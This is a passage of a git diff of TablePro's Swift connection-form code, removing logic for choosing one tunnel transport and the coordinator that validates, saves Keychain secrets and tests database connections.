`DatabaseConnection.activeTunnelKind` answers `nil` whenever more than one transport is -/// enabled, and `DatabaseManager.activeTunnelManager` then opens a direct connection to the -/// database host, so a connection carrying two enabled transports silently bypasses both. The -/// form used to allow exactly that, warn about it in a banner, and leave Save enabled. Editing -/// one optional value instead of five booleans makes the state unrepresentable rather than -/// discouraged. -@MainActor -extension ConnectionFormCoordinator { - var transport: ConnectionTunnelKind? { - get { - if ssh.state.enabled { - return supportsRemoteDatabaseFile ? .remoteFile : .ssh - } - if cloudflareTunnel.state.enabled { return .cloudflare } - if cloudSQLProxy.state.enabled { return .cloudSQLProxy } - if socksProxy.state.enabled { return .socksProxy } - if tunnelCommand.state.enabled { return .tunnelCommand } - return nil - } - set { - let usesSSHServer = newValue == .ssh || newValue == .remoteFile - ssh.state.enabled = usesSSHServer - if newValue != .remoteFile { - ssh.state.remoteFilePath = "" - } - if newValue != .ssh { - /// Only a port forward has something to forward to, and the field lives in the SSH - /// sections, so a path left behind by another transport would be unreachable while - /// still dimming Host and Port and still being written by `network.write(into:)`. - network.sshForwardUnixSocketPath = "" - } - cloudflareTunnel.state.enabled = newValue == .cloudflare - cloudSQLProxy.state.enabled = newValue == .cloudSQLProxy - socksProxy.state.enabled = newValue == .socksProxy - tunnelCommand.state.enabled = newValue == .tunnelCommand - testResult = nil - } - } - - /// Direct first, then whatever this driver can reach a server through. - /// - /// `.ssh` and `.remoteFile` are the same SSH server carrying different cargo, and both are - /// stored in `ssh.state`, so only one of them can be offered: the getter decides which by - /// capability, and offering both would let the picker select `.ssh` and read back `.remoteFile`. - /// - /// A port forward is offered only where the driver dials it, the rule `enabledTunnelKinds` - /// applies at connect: DuckDB offers one in Remote and none in Local File. - var availableTransports: [ConnectionTunnelKind?] { - guard !network.usesLocalSocket else { return [nil] } - var transports: [ConnectionTunnelKind?] = [nil] - let forwards = dialsForwardedEndpoint - if supportsRemoteDatabaseFile { - transports.append(.remoteFile) - } else if forwards, services.pluginManager.supportsSSH(for: network.type) { - transports.append(.ssh) - } - guard forwards else { return transports } - if services.pluginManager.supportsCloudflareTunnel(for: network.type) { - transports.append(.cloudflare) - } - if network.type.supportsCloudSQLProxy { - transports.append(.cloudSQLProxy) - } - if services.pluginManager.supportsSOCKSProxy(for: network.type) { - transports.append(.socksProxy) - } - if services.pluginManager.supportsTunnelCommand(for: network.type) { - transports.append(.tunnelCommand) - } - return transports - } - - // No tunnel reaches a socket file on this Mac, so Socket clears the transport in the same edit. - func selectEndpoint(_ endpoint: NetworkPaneViewModel.Endpoint) { - guard endpoint != network.endpoint else { return } - network.endpoint = endpoint - if network.usesLocalSocket { - transport = nil - } - testResult = nil - } - - private var dialsForwardedEndpoint: Bool { - PluginMetadataRegistry.shared.snapshot(for: network.type)? - .dialsForwardedEndpoint(forValues: allAdditionalFieldValues) ?? true - } - - var supportsRemoteDatabaseFile: Bool { - services.pluginManager.supportsRemoteDatabaseFile(for: network.type) - } - - /// Whether the current type can run its statements on the server, which is what decides if the - /// Open pop-up appears beside the remote path. A type that only fetches a copy never shows it, - /// and its access stays the copy. - var supportsRemoteDatabaseSession: Bool { - services.pluginManager.supportsRemoteDatabaseSession(for: network.type) - } - - var supportsSSL: Bool { - services.pluginManager.supportsSSL(for: network.type) - } - - var showsSSL: Bool { - supportsSSL && !network.localSocketSkipsTLS - } - - internal var tunnelCommandPreview: String? { - let endpoint = buildEdits().applied(to: DatabaseConnection(name: "")).tunnelForwardEndpoint - return TunnelCommandBuilder.previewCommand( - for: tunnelCommand.state.buildConfig(), - remoteHost: endpoint.host, - remotePort: endpoint.port - ) - } - - /// Collapses whatever the stored connection carries onto a single transport. - /// - /// Assigning through the setter is what does the work: a connection saved by an older build - /// with two transports enabled keeps the first and loses the rest, which is a repair, because - /// the connect path was reaching that database directly. A transport the current type no - /// longer offers falls back to direct, or a MySQL connection changed to SQLite would keep a - /// Cloudflare tunnel nothing in the form can see or switch off. - func normalizeTransport() { - let current = transport - transport = availableTransports.contains(current) ? current : nil - } - - /// The Network disclosure opens on load when the connection already carries a transport or an - /// SSL choice the user made, so editing an SSH or TLS connection never hides the thing being - /// edited. A type default (every Postgres requires TLS) is not user config, so it stays closed. - var networkIsConfigured: Bool { - transport != nil - || ssl.origin != .typeDefault - || !ssl.caCertPath.isEmpty - || !ssl.clientCertPath.isEmpty - || !ssl.clientKeyPath.isEmpty - } - - var networkHasIssue: Bool { - !ConnectionFormTab.network.validationIssues(for: self).isEmpty - } - - /// One line under the collapsed Network header: the transport, and SSL when it is on. - var networkSummary: String { - let base = transport?.displayName ?? ConnectionTunnelKind.directDisplayName - guard showsSSL, ssl.mode != .disabled else { return base } - return String(format: String(localized: "%@ · SSL"), base) - } - - var appearanceIsCustomized: Bool { - customization.color != .none - || customization.iconName != nil - || !customization.tagIds.isEmpty - || customization.groupId != nil - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator.swift deleted file mode 100644 index 52aad1b9f6..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator.swift +++ /dev/null @@ -1,1170 +0,0 @@ -// -// ConnectionFormCoordinator.swift -// TablePro -// - -import AppKit -import Combine -import os -import SwiftUI -import TableProConnectionLibrary -import TableProPluginKit -import TableProRedisCore -import TableProSSHConfig -import TableProSSHTransport -import TableProSyncTransport - -@MainActor -final class WeakCoordinatorRef { - weak var value: ConnectionFormCoordinator? - - init(_ value: ConnectionFormCoordinator? = nil) { - self.value = value - } -} - -@MainActor -final class ConnectionFormCoordinator: ObservableObject { - nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "ConnectionFormCoordinator") - - let connectionId: UUID? - @Published private(set) var originalConnection: DatabaseConnection? - - @Published var network: NetworkPaneViewModel - @Published var auth: AuthPaneViewModel - @Published var ssh: SSHPaneViewModel - @Published var remoteFile: RemoteFilePaneViewModel - @Published var cloudflareTunnel: CloudflareTunnelPaneViewModel - @Published var cloudSQLProxy: CloudSQLProxyPaneViewModel - @Published var socksProxy: SOCKSProxyPaneViewModel - @Published var tunnelCommand: TunnelCommandPaneViewModel - @Published var ssl: SSLPaneViewModel - @Published var customization: CustomizationPaneViewModel - @Published var advanced: AdvancedPaneViewModel - @Published var aiRules: AIRulesPaneViewModel - @Published var maskingRules: MaskingRulesPaneViewModel - - @Published var selectedTab: ConnectionFormTab = .general - @Published var hasLoadedData: Bool = false - - /// An edit was asked for a connection that is not in the library: deleted in another window or - /// on another device, or a record this build cannot decode. The form shows this instead of a - /// blank editable copy that only errors once the user clicks Save. - @Published private(set) var isRecordMissing: Bool = false - - @Published var isTesting: Bool = false - /// The last Test Connection that reached the server, with the warning the login brought back. A new test, a - /// type change and a transport change clear it. - @Published var testResult: ConnectionTestResult? - var testSucceeded: Bool { testResult?.succeeded == true } - @Published var testTask: Task? - - @Published var pluginInstallConnection: DatabaseConnection? - @Published var pluginDiagnostic: PluginDiagnosticItem? - - // A connection that syncs today and is saved Local only has its secrets taken off iCloud Keychain. - var removesSyncedSecretsOnSave: Bool { - advanced.localOnly && originalConnection?.participatesInSync == true - } - - @Published var saveError: String? - - @Published var isChoosingType: Bool = false - - - @Published private var temporaryTestIds: Set = [] - - // Filled by the reads that prefill the form: a field left empty because its secret could not be read is not a cleared one. - private var unreadableSecretKeys: Set = [] - // What those reads found. A save leaves a secret the user did not change as it is in the Keychain. - private var loadedSecrets: [String: String] = [:] - - private var childChangeForwarding: AnyCancellable? - - let services: AppServices - var storage: ConnectionStorage { services.connectionStorage } - @Published var dismissAction: (() -> Void)? - - var isNew: Bool { connectionId == nil } - - /// Filtered from `allCases` rather than assembled by hand, so the compiler makes every case - /// answer the visibility question. A tab left out of a hand-written list would vanish from the - /// picker *and* have its issues dropped from `validationIssues`, which is a disabled Save with - /// nothing to fix. - var visibleTabs: [ConnectionFormTab] { - ConnectionFormTab.allCases.filter { isVisible($0) } - } - - private func isVisible(_ tab: ConnectionFormTab) -> Bool { - switch tab { - case .general, .options, .appearance: - return true - case .network: - return availableTransports.count > 1 || supportsSSL - } - } - - /// Whether the transport and encryption section are worth showing: more than Direct is on offer, - /// or the engine can do TLS. A plain file-based connection shows neither. - var showsNetworkFacet: Bool { isVisible(.network) } - - /// Every issue the form knows about, tab by tab, in tab order. - /// - /// `isFormValid` reads this rather than repeating the list, so a validation rule cannot - /// disable Save while no tab claims it and leave the user with nothing to fix. - var validationIssues: [String] { - visibleTabs.flatMap { $0.validationIssues(for: self) } - } - - var isFormValid: Bool { validationIssues.isEmpty } - - var firstTabWithIssue: ConnectionFormTab? { - visibleTabs.first { !$0.validationIssues(for: self).isEmpty } - } - - /// Whether a validation issue lives in the Advanced area, which is hidden behind a disclosure. - /// The form reveals that disclosure so Save is never blocked by a control the user cannot reach. - var optionsHasIssue: Bool { - !ConnectionFormTab.options.validationIssues(for: self).isEmpty - } - - private let pendingInitialType: DatabaseType? - private let pendingInitialParsedURL: ParsedConnectionURL? - - init( - connectionId: UUID?, - initialType: DatabaseType? = nil, - initialParsedURL: ParsedConnectionURL? = nil, - services: AppServices = .live - ) { - self.connectionId = connectionId - self.pendingInitialType = initialType - self.pendingInitialParsedURL = initialParsedURL - self.services = services - self.network = NetworkPaneViewModel() - self.auth = AuthPaneViewModel() - self.ssh = SSHPaneViewModel() - self.remoteFile = RemoteFilePaneViewModel() - self.cloudflareTunnel = CloudflareTunnelPaneViewModel() - self.cloudSQLProxy = CloudSQLProxyPaneViewModel() - self.socksProxy = SOCKSProxyPaneViewModel() - self.tunnelCommand = TunnelCommandPaneViewModel() - self.ssl = SSLPaneViewModel() - self.customization = CustomizationPaneViewModel() - self.advanced = AdvancedPaneViewModel() - self.aiRules = AIRulesPaneViewModel() - self.maskingRules = MaskingRulesPaneViewModel() - - let ref = WeakCoordinatorRef(self) - network.coordinator = ref - auth.coordinator = ref - ssh.coordinator = ref - remoteFile.coordinator = ref - cloudflareTunnel.coordinator = ref - cloudSQLProxy.coordinator = ref - socksProxy.coordinator = ref - tunnelCommand.coordinator = ref - ssl.coordinator = ref - customization.coordinator = ref - advanced.coordinator = ref - aiRules.coordinator = ref - maskingRules.coordinator = ref - - childChangeForwarding = forwardChildChanges() - } - - /// Every pane observes this coordinator and reads its values through a child, as in - /// `coordinator.network.type`. `@Published` on a child only fires when the reference is - /// replaced, never when a value inside it changes, so without this a pane stayed as it was - /// drawn: picking Sentinel left the Redis mode picker on Standalone with the host field still - /// showing. The send is synchronous because SwiftUI needs `objectWillChange` before the value - /// lands, and `switchToLatest` moves the subscription to a replacement child. - private func forwardChildChanges() -> AnyCancellable { - Publishers.MergeMany([ - Self.changes(of: $network), - Self.changes(of: $auth), - Self.changes(of: $ssh), - Self.changes(of: $remoteFile), - Self.changes(of: $cloudflareTunnel), - Self.changes(of: $cloudSQLProxy), - Self.changes(of: $socksProxy), - Self.changes(of: $tunnelCommand), - Self.changes(of: $ssl), - Self.changes(of: $customization), - Self.changes(of: $advanced), - Self.changes(of: $aiRules), - Self.changes(of: $maskingRules), - ]) - .sink { [weak self] in self?.objectWillChange.send() } - } - - private static func changes( - of child: Published.Publisher - ) -> AnyPublisher where Child.ObjectWillChangePublisher == ObservableObjectPublisher { - child.map(\.objectWillChange).switchToLatest().eraseToAnyPublisher() - } - - /// Performs the one-time side-effecting setup: applying initial type - /// defaults, loading the existing connection from storage, and overlaying - /// any parsed URL the form was opened with. Idempotent. - func start() { - guard !hasLoadedData else { return } - - let resolvedInitialType = pendingInitialParsedURL?.type ?? pendingInitialType - if let resolvedInitialType { - network.type = resolvedInitialType - network.port = String(resolvedInitialType.defaultPort) - applyTypeDefaults(resolvedInitialType, includeNetwork: true) - } - - loadInitialData() - - if let parsed = pendingInitialParsedURL { - applyParsed(parsed) - } - - /// After the URL too, not only after a stored connection: a URL naming an SSH server for a - /// driver that cannot tunnel would otherwise leave a transport enabled that no tab offers - /// and no validation counts. - normalizeTransport() - } - - // MARK: - Lifecycle - - private func loadInitialData() { - Self.logger.debug( - "[trace] load connectionId=\(self.connectionId?.uuidString ?? "nil", privacy: .public) isNew=\(self.isNew)" - ) - ssh.loadProfiles() - ssh.loadSSHConfig() - /// A new connection has no stored record to load from, and its picker still has to offer - /// every profile. - auth.loadCredentialProfiles() - if let id = connectionId, - let existing = storage.loadConnections().first(where: { $0.id == id }) - { - Self.logger.debug( - "[trace] load found existing id=\(existing.id.uuidString, privacy: .public) name='\(existing.name, privacy: .private(mask: .hash))' promptForPassword=\(existing.promptForPassword)" - ) - originalConnection = existing - let reads = storage.recordingSecretReads { - network.load(from: existing) - auth.load(from: existing, storage: storage) - ssh.load(from: existing, storage: storage) - cloudflareTunnel.load(from: existing, storage: storage) - cloudSQLProxy.load(from: existing, storage: storage) - socksProxy.load(from: existing, storage: storage) - tunnelCommand.load(from: existing) - ssl.load(from: existing) - customization.load(from: existing) - advanced.load(from: existing) - aiRules.load(from: existing) - maskingRules.load(from: existing) - } - unreadableSecretKeys = reads.unreadable - loadedSecrets = reads.loaded - normalizeTransport() - } - if connectionId != nil, originalConnection == nil, !storage.isLibraryUnreadable { - isRecordMissing = true - } - hasLoadedData = true - } - - func cancel() { - dismissAction?() - } - - /// Closing the window mid-test must reap the test's staged Keychain secrets: `test()` writes - /// them under a throwaway id and only its own completion deletes them, so a close that - /// deallocates the coordinator while the task is in flight would orphan them forever. - func teardownOnClose() { - testTask?.cancel() - testTask = nil - isTesting = false - for id in Array(temporaryTestIds) { - cleanupTestSecrets(for: id) - } - } - - func deleteCurrent() { - guard let id = connectionId, - let connection = storage.loadConnections().first(where: { $0.id == id }) else { return } - storage.deleteConnection(connection) - dismissAction?() - services.appEvents.connectionUpdated.send(connection.id) - } - - // MARK: - Type change - - /// Retypes the connection in place. `NetworkPaneViewModel.setType` had no caller, so picking - /// the wrong database meant cancelling the window and starting the form again. - func changeType(to newType: DatabaseType) { - isChoosingType = false - network.setType(newType) - } - - func didChangeType(_ newType: DatabaseType) { - testResult = nil - if hasLoadedData { - applyTypeDefaults(newType, includeNetwork: true) - auth.resetForType(newType) - advanced.resetForType(newType) - } - // Not normalizeTransport(): a kept MySQL port forward would silently become SQLite's read-only file copy. - transport = nil - if !visibleTabs.contains(selectedTab) { - selectedTab = .general - } - } - - func didChangePort() { - guard hasLoadedData else { return } - ssl.reconcile(port: network.resolvedPort, type: network.type) - } - - private func applyTypeDefaults(_ newType: DatabaseType, includeNetwork: Bool) { - if includeNetwork { - network.applyTypeDefaults(forNewType: newType) - } - ssl.resetForType(newType) - } - - // MARK: - Save - - func save() { - saveConnection(connect: false) - } - - /// The window's default action. A new connection is opened once it is stored; an existing one - /// is only saved, because the window it is already open in is the one the user came from. - func commit() { - saveConnection(connect: isNew) - } - - func buildEdits() -> ConnectionFormEdits { - var fields: [String: String] = [:] - network.write(into: &fields) - auth.write(into: &fields) - advanced.write(into: &fields) - - var resolvedHost = network.resolvedHost - var resolvedPort = network.resolvedLocalSocketEndpoint?.port ?? network.resolvedPort - - // An empty list means what its placeholder shows, never the Host it hid. - if let hostList = PluginManager.shared.additionalConnectionFields(for: network.type).endpointHostList { - let type = network.type - let endpoints = HostListEndpoint.parseList(fields[hostList.id] ?? "", defaultPort: type.defaultPort) - fields[hostList.id] = endpoints.map(\.entry).joined(separator: ",") - let primary = endpoints.first ?? HostListEndpoint(host: type.defaultHost ?? "localhost", port: type.defaultPort) - resolvedHost = primary.host - resolvedPort = primary.port - } - - for (key, script) in [ - ("preConnectScript", advanced.preConnectScript), - (DatabaseConnection.postDisconnectScriptKey, advanced.postDisconnectScript) - ] { - if script.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty { - fields.removeValue(forKey: key) - } else { - fields[key] = script - } - } - if let timeout = advanced.scriptTimeoutSeconds, - ConnectionScriptRunner.timeoutSecondsRange.contains(timeout) { - fields[DatabaseConnection.scriptTimeoutSecondsKey] = String(timeout) - } else { - fields.removeValue(forKey: DatabaseConnection.scriptTimeoutSecondsKey) - } - if customization.environment == .none { - fields.removeValue(forKey: ConnectionEnvironment.fieldKey) - } else { - fields[ConnectionEnvironment.fieldKey] = customization.environment.rawValue - } - - return ConnectionFormEdits( - name: network.name, - host: resolvedHost, - port: resolvedPort, - database: network.database, - username: auth.selectedCredentialProfile?.username ?? auth.resolvedUsername, - type: network.type, - sshConfig: ssh.state.buildSSHConfig(), - sslConfig: ssl.buildConfig(), - color: customization.color, - iconName: customization.iconName, - tagIds: customization.tagIds, - groupId: customization.groupId, - sshProfileId: ssh.state.enabled ? ssh.state.profileId : nil, - sshTunnelMode: ssh.state.buildTunnelMode(), - credentialMode: auth.credentialMode, - cloudflareTunnelMode: cloudflareTunnel.state.buildTunnelMode(), - cloudSQLProxyMode: cloudSQLProxy.state.buildTunnelMode(), - socksProxyMode: socksProxy.state.buildTunnelMode(), - tunnelCommandMode: tunnelCommand.state.buildTunnelMode(), - safeModeLevel: customization.safeModeLevel, - aiPolicy: advanced.aiPolicy, - aiRules: aiRules.trimmedRules, - externalAccess: advanced.externalAccess, - connectTimeoutSeconds: customization.connectTimeoutSeconds, - queryTimeoutSeconds: customization.queryTimeoutSeconds, - binaryInlineLimitKilobytes: customization.binaryInlineLimitKilobytes, - completionIdentifierCase: customization.completionIdentifierCase, - commitMode: customization.commitMode, - redisDatabase: advanced.additionalFieldValues[RedisDatabaseIndex.fieldName].map { - RedisDatabaseIndex.parse($0) ?? 0 - }, - startupCommands: advanced.startupCommands.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty - ? nil : advanced.startupCommands, - localOnly: advanced.localOnly, - additionalFields: fields, - ownedAdditionalFieldIDs: ownedAdditionalFieldIDs(), - maskingRules: maskingRules.savedRules, - revokedAIAlwaysAllowedTools: advanced.revokedAIAlwaysAllowedTools - ) - } - - /// The secure fields of the type being saved **and** of the type the connection started as. - /// - /// Retyping used to be impossible, so a save only ever had one type's secure fields to write. - /// Now that Change… exists, a SQL Server connection retyped to MySQL would leave its Kerberos - /// password in the Keychain under the same connection id, invisible to the form that owns it. - /// This mirrors what `ownedAdditionalFieldIDs()` already does for the plain fields. - internal func secureFieldsOwnedByForm() -> [ConnectionField] { - Self.secureFieldsOwnedByForm( - currentType: network.type, - originalType: originalConnection?.type, - pluginManager: services.pluginManager - ) - } - - internal static func secureFieldsOwnedByForm( - currentType: DatabaseType, - originalType: DatabaseType?, - pluginManager: PluginManager - ) -> [ConnectionField] { - var fields = pluginManager.additionalConnectionFields(for: currentType).filter(\.isSecure) - guard let originalType, originalType != currentType else { return fields } - let known = Set(fields.map(\.id)) - fields += pluginManager.additionalConnectionFields(for: originalType) - .filter { $0.isSecure && !known.contains($0.id) } - return fields - } - - private func ownedAdditionalFieldIDs() -> Set { - var ids = ConnectionFormEdits.appManagedAdditionalFieldIDs - for field in services.pluginManager.additionalConnectionFields(for: network.type) { - ids.insert(field.id) - } - guard let originalType = originalConnection?.type, originalType != network.type else { - return ids - } - for field in services.pluginManager.additionalConnectionFields(for: originalType) { - ids.insert(field.id) - } - return ids - } - - private func baseConnection(id: UUID) -> DatabaseConnection { - guard let original = originalConnection, original.id == id else { - return DatabaseConnection(id: id, name: "") - } - return storage.loadConnection(id: id) ?? original - } - - private func saveConnection(connect: Bool) { - guard !storage.isLibraryUnreadable else { - saveError = Self.unreadableLibraryMessage - return - } - let finalId = connectionId ?? UUID() - - /// A field value can take the transports away in the same edit, as DuckDB's Connection Type - /// does, and a hidden one would still be saved, named in the connection list and synced. - normalizeTransport() - var edits = buildEdits() - edits.additionalFields["promptForPassword"] = auth.effectivePromptForPassword ? "true" : nil - - var secureFieldValues: [(fieldId: String, value: String)] = [] - for field in secureFieldsOwnedByForm() { - secureFieldValues.append((field.id, edits.additionalFields.removeValue(forKey: field.id) ?? "")) - } - // An installed plugin older than the field still must not leave the token in the record. - let sessionTokenId = ConnectionSecretOptions.mongoSessionTokenFieldId - let sessionToken = edits.additionalFields.removeValue(forKey: sessionTokenId) ?? "" - - var connectionToSave = edits.applied(to: baseConnection(id: finalId)) - - /// Removing a secret cannot be undone, so a clear waits until the connection record it - /// belongs to is on disk. Running it first and then failing the write leaves the old - /// connection in place with nothing left to authenticate it. - var clearedSecrets: [() -> Void] = [] - - let stagedSecrets = storage.stagingSecretEdits( - for: finalId, - deviceOnly: !connectionToSave.participatesInSync, - keeping: unreadableSecretKeys, - unchanged: loadedSecrets - ) { - for field in secureFieldValues { - if field.value.isEmpty { - storage.deletePluginSecureField(fieldId: field.fieldId, for: finalId) - } else { - storage.savePluginSecureField(field.value, fieldId: field.fieldId, for: finalId) - } - } - if !sessionToken.isEmpty { - storage.savePluginSecureField(sessionToken, fieldId: sessionTokenId, for: finalId) - } - - /// A linked connection holds no secret of its own. That is the whole point: the password - /// exists once, under the profile, so rotating it is one edit rather than one per - /// connection. Any secret the connection had before the link goes with it, or an encrypted - /// export still carries it and a duplicate still copies it. - if auth.usesCredentialProfile { - clearedSecrets.append { self.storage.deletePassword(for: finalId) } - /// The secure-field loop above wrote the form's values back under the connection id. - /// Anything the profile owns has to go with the password, or the connection keeps a - /// second stale copy that a duplicate carries and the driver can fall back to. - for fieldId in auth.selectedCredentialProfile?.secureFieldIds ?? [] { - clearedSecrets.append { self.storage.deletePluginSecureField(fieldId: fieldId, for: finalId) } - } - } else if auth.effectivePromptForPassword || auth.clearsStoredPassword { - clearedSecrets.append { self.storage.deletePassword(for: finalId) } - } else if !auth.password.isEmpty { - storage.savePassword(auth.password, for: finalId) - } - - if ssh.state.enabled && ssh.state.profileId == nil { - if (ssh.state.authMethod == .password || ssh.state.authMethod == .keyboardInteractive) - && !ssh.state.password.isEmpty - { - storage.saveSSHPassword(ssh.state.password, for: finalId) - } else if ssh.state.clearsStoredPassword { - clearedSecrets.append { self.storage.deleteSSHPassword(for: finalId) } - } - if ssh.state.authMethod == .privateKey && !ssh.state.keyPassphrase.isEmpty { - storage.saveKeyPassphrase(ssh.state.keyPassphrase, for: finalId) - } else if ssh.state.clearsStoredKeyPassphrase { - clearedSecrets.append { self.storage.deleteKeyPassphrase(for: finalId) } - } - if ssh.state.totpMode == .autoGenerate && !ssh.state.totpSecret.isEmpty { - storage.saveTOTPSecret(ssh.state.totpSecret, for: finalId) - } else { - storage.deleteTOTPSecret(for: finalId) - } - } else { - storage.deleteSSHPassword(for: finalId) - storage.deleteKeyPassphrase(for: finalId) - storage.deleteTOTPSecret(for: finalId) - } - - if !ssl.clientKeyPassphrase.isEmpty && !ssl.clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty { - storage.saveSSLClientKeyPassphrase(ssl.clientKeyPassphrase, for: finalId) - } else { - storage.deleteSSLClientKeyPassphrase(for: finalId) - } - - cloudflareTunnel.save(to: finalId, storage: storage) - cloudSQLProxy.save(to: finalId, storage: storage) - socksProxy.save(to: finalId, storage: storage) - } - // The Keychain may hold this save's values now, whether or not the record saves. - loadedSecrets = [:] - guard !stagedSecrets.writeFailed else { - saveError = String(localized: "Could not save this connection's passwords to the Keychain. Your changes were not saved.") - return - } - clearedSecrets.append { self.storage.applyStagedDeletions(stagedSecrets) } - - var savedConnections = storage.loadConnections() - if isNew { - connectionToSave.sortOrder = ConnectionStorage.nextSortOrder( - in: savedConnections, - groupId: connectionToSave.groupId - ) - savedConnections.append(connectionToSave) - guard storage.saveConnections(savedConnections) else { - saveError = saveFailureMessage - return - } - clearedSecrets.forEach { $0() } - approveSavedDefinition(connectionToSave) - if !connectionToSave.localOnly { - services.syncTracker.markDirty(.connection, id: connectionToSave.id.uuidString) - } - dismissAction?() - services.appEvents.connectionUpdated.send(connectionToSave.id) - if connect { - connectToDatabase(connectionToSave) - } - } else { - guard let index = savedConnections.firstIndex(where: { $0.id == connectionToSave.id }) else { - saveError = String(localized: "This connection was deleted on another device or window. Your changes were not saved.") - return - } - if savedConnections[index].groupId != connectionToSave.groupId { - connectionToSave.sortOrder = ConnectionStorage.nextSortOrder( - in: savedConnections, - groupId: connectionToSave.groupId - ) - } - savedConnections[index] = connectionToSave - guard storage.saveConnections(savedConnections) else { - saveError = saveFailureMessage - return - } - clearedSecrets.forEach { $0() } - approveSavedDefinition(connectionToSave) - if !connectionToSave.localOnly { - services.syncTracker.markDirty(.connection, id: connectionToSave.id.uuidString) - } - dismissAction?() - services.appEvents.connectionUpdated.send(connectionToSave.id) - } - } - - // A save here is the person's word that the environment references and this Mac's sign-in go where the form shows. - private func approveSavedDefinition(_ connection: DatabaseConnection) { - approveEditedExtensions(for: connection.id) - for store in ConnectionApprovalStore.all { - store.approve(connection) - } - } - - private static var unreadableLibraryMessage: String { - String(localized: "TablePro could not read your saved connections, so it did not save over them.") - } - - private var saveFailureMessage: String { - guard !storage.isLibraryUnreadable else { return Self.unreadableLibraryMessage } - return String(localized: "Could not save the connection. Check disk space and permissions, then try again.") - } - - func connectToDatabase(_ connection: DatabaseConnection) { - Task { - do { - try await TabRouter.shared.route(.openConnection(connection.id)) - } catch { - handleConnectError(error, connection: connection) - } - } - } - - func handleConnectError(_ error: Error, connection: DatabaseConnection) { - if error is CancellationError { - Self.logger.info("Connection attempt cancelled for \(connection.name, privacy: .private(mask: .hash))") - return - } - - if !WindowManager.shared.hasOpenWindow(for: connection.id) { - Self.logger.info( - "Connection failed after window was closed: \(error.publicLogShape, privacy: .public)") - return - } - - WindowManager.shared.closeWindow(for: connection.id) - - if case PluginError.pluginNotInstalled = error { - Self.logger.info("Plugin not installed for \(connection.type.rawValue, privacy: .public)") - WelcomeRouter.shared.routePluginInstall(connection) - return - } - - Self.logger.error("Failed to connect: \(error.publicLogShape, privacy: .public)") - WelcomeRouter.shared.routeError(error, for: connection) - } - - // MARK: - Test - - private func presentRecoverableTestFailure( - _ error: Error, - action: ConnectionRecoveryAction, - connection: DatabaseConnection, - window: NSWindow? - ) { - let info = ConnectionFailureClassifier.info(for: error) - AlertHelper.showRecoverableErrorSheet( - title: String(localized: "Connection Test Failed"), - message: [info.message, info.failureReason].compactMap { $0 }.joined(separator: "\n\n"), - recoverySuggestion: info.recoverySuggestion, - recoveryTitle: action.title, - window: window - ) { - ConnectionRecoveryPerformer.perform(action, for: connection) - } - } - - // What a password source sees for the values in the form, saved or not. - func passwordSourceContext() -> ConnectionScriptContext { - ConnectionScriptContext(connection: buildEdits().applied(to: DatabaseConnection(id: connectionId ?? UUID(), name: ""))) - } - - // The edits leave out the prompt flag and the source, which a save carries over. A test without them signs in differently from Connect. - func connectionForTest() -> DatabaseConnection { - var connection = buildEdits().applied(to: DatabaseConnection(id: UUID(), name: "")) - connection.promptForPassword = auth.effectivePromptForPassword - connection.passwordSource = auth.passwordSourceInUse - return connection - } - - func test() { - guard testTask == nil else { return } - isTesting = true - testResult = nil - let window = NSApp.keyWindow - - let testConn = connectionForTest() - temporaryTestIds.insert(testConn.id) - - let password = auth.password - /// A linked profile owns the decision, so a profile set to ask every time asks here - /// too instead of testing with an empty password. - let promptForPassword = ConnectionCredentialResolver.promptsForPassword(testConn) - let connectionType = network.type - let displayName = network.name.isEmpty ? network.host : network.name - let sshState = ssh.state - let tunnelStates = TunnelFormStates( - ssh: ssh.state, - cloudflare: cloudflareTunnel.state, - cloudSQLProxy: cloudSQLProxy.state, - socksProxy: socksProxy.state, - tunnelCommand: tunnelCommand.state - ) - let sslClientKeyPassphrase = ssl.clientKeyPassphrase - let sslClientKeyPath = ssl.clientKeyPath - let additionalFieldValues = testConn.additionalFields - - persistTestSecrets( - for: testConn.id, - password: password, - promptForPassword: promptForPassword, - tunnelStates: tunnelStates, - sslClientKeyPassphrase: sslClientKeyPassphrase, - sslClientKeyPath: sslClientKeyPath, - connectionType: connectionType, - additionalFieldValues: additionalFieldValues - ) - - testTask = Task { [weak self, services] in - guard await self?.authorizeExtensionsForTest(testConnectionId: testConn.id) == true else { - await MainActor.run { - self?.cleanupTestSecrets(for: testConn.id) - self?.isTesting = false - self?.testTask = nil - } - return - } - do { - let sshPasswordForTest = sshState.profileId == nil ? sshState.password : nil - let isApiOnly = services.pluginManager.connectionMode(for: connectionType) == .apiOnly - let testPwOverride: String? = promptForPassword - ? (password.isEmpty - ? await PasswordPromptHelper.prompt( - connectionName: displayName, - isAPIToken: isApiOnly, - window: NSApp.keyWindow - ) - : password) - : nil - - guard !promptForPassword || testPwOverride != nil else { - await MainActor.run { - self?.cleanupTestSecrets(for: testConn.id) - self?.isTesting = false - self?.testTask = nil - } - return - } - - // No sign-in consent: the person is looking at the settings Test signs in with. - let result = try await services.databaseManager.testConnection( - testConn, - sshPassword: sshPasswordForTest, - passwordOverride: testPwOverride - ) - await MainActor.run { - self?.cleanupTestSecrets(for: testConn.id) - self?.isTesting = false - self?.testTask = nil - if result.succeeded { - self?.testResult = result - if let warning = result.warning { - AccessibilityAnnouncement.post( - String(format: String(localized: "Connected with a warning. %@"), warning) - ) - } - } else { - AlertHelper.showErrorSheet( - title: String(localized: "Connection Test Failed"), - message: String(localized: "Connection test failed"), - window: window - ) - } - } - } catch is CancellationError { - // Closing the form cancels the test: clean up its staged secrets and show nothing, - // never an error sheet on the window that is going away. - await MainActor.run { - self?.cleanupTestSecrets(for: testConn.id) - self?.isTesting = false - self?.testTask = nil - } - return - } catch { - let fields = self?.auth.additionalFieldValues ?? [:] - if let provider = ConnectionSignInRegistry.provider(for: error, fields: fields) { - await self?.offerSignIn(provider, for: error, fields: fields, testId: testConn.id, window: window) - return - } - await MainActor.run { - self?.cleanupTestSecrets(for: testConn.id) - self?.isTesting = false - self?.testResult = nil - self?.testTask = nil - if case PluginError.pluginNotInstalled = error { - self?.pluginInstallConnection = testConn - } else if let item = PluginDiagnosticItem.classify( - error: error, connection: testConn, username: testConn.username - ) { - self?.pluginDiagnostic = item - } else if let action = 